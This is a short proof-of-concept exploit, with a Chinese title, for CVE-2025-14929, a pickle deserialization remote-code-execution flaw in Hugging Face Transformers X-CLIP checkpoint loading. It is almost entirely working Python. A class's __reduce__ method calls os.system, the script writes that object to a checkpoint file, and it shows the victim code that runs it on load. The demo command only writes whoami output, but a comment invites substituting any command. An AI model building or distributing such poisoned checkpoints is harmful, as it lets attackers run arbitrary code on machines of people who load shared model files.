CVE-2025-14929: Hugging Face Transformers X-CLIP反序列化远程代码执行漏洞

# CVE-2025-14929 PoC - Malicious X-CLIP Checkpoint Generator # This PoC demonstrates creating a malicious checkpoint that triggers RCE upon loading import pickle import os import sys # Malicious payload that executes arbitrary command # This will be called during pickle deserialization via __reduce__ class MaliciousPayload: def __reduce__(self): # Change this to your actual command cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) def create_malicious_checkpoint(output_path): """ Create a malicious checkpoint file that exploits CVE-2025-14929 The vulnerability is in X-CLIP checkpoint conversion/deserialization """ # Create the malicious payload payload = MaliciousPayload() # Serialize with pickle (vulnerable to arbitrary code execution) malicious_data = pickle.dumps(payload) # Write to file (could be .pt, .pth, .bin, or any checkpoint format) with open(output_path, 'wb') as f: f.write(malicious_data) print(f"[+] Malicious checkpoint created: {output_path}") print(f"[+] When loaded by vulnerable Transformers version, will execute: whoami > /tmp/pwned.txt") # Usage: # python cve_2025_14929_poc.py malicious_checkpoint.pth if __name__ == "__main__": if len(sys.argv) > 1: create_malicious_checkpoint(sys.argv[1]) else: create_malicious_checkpoint("malicious_xclip_checkpoint.pth") # To trigger the vulnerability (victim-side code): # # from transformers import XCLIPModel # model = XCLIPModel.from_pretrained("./malicious_checkpoint.pth") # # This will automatically trigger the malicious __reduce__ method during checkpoint loading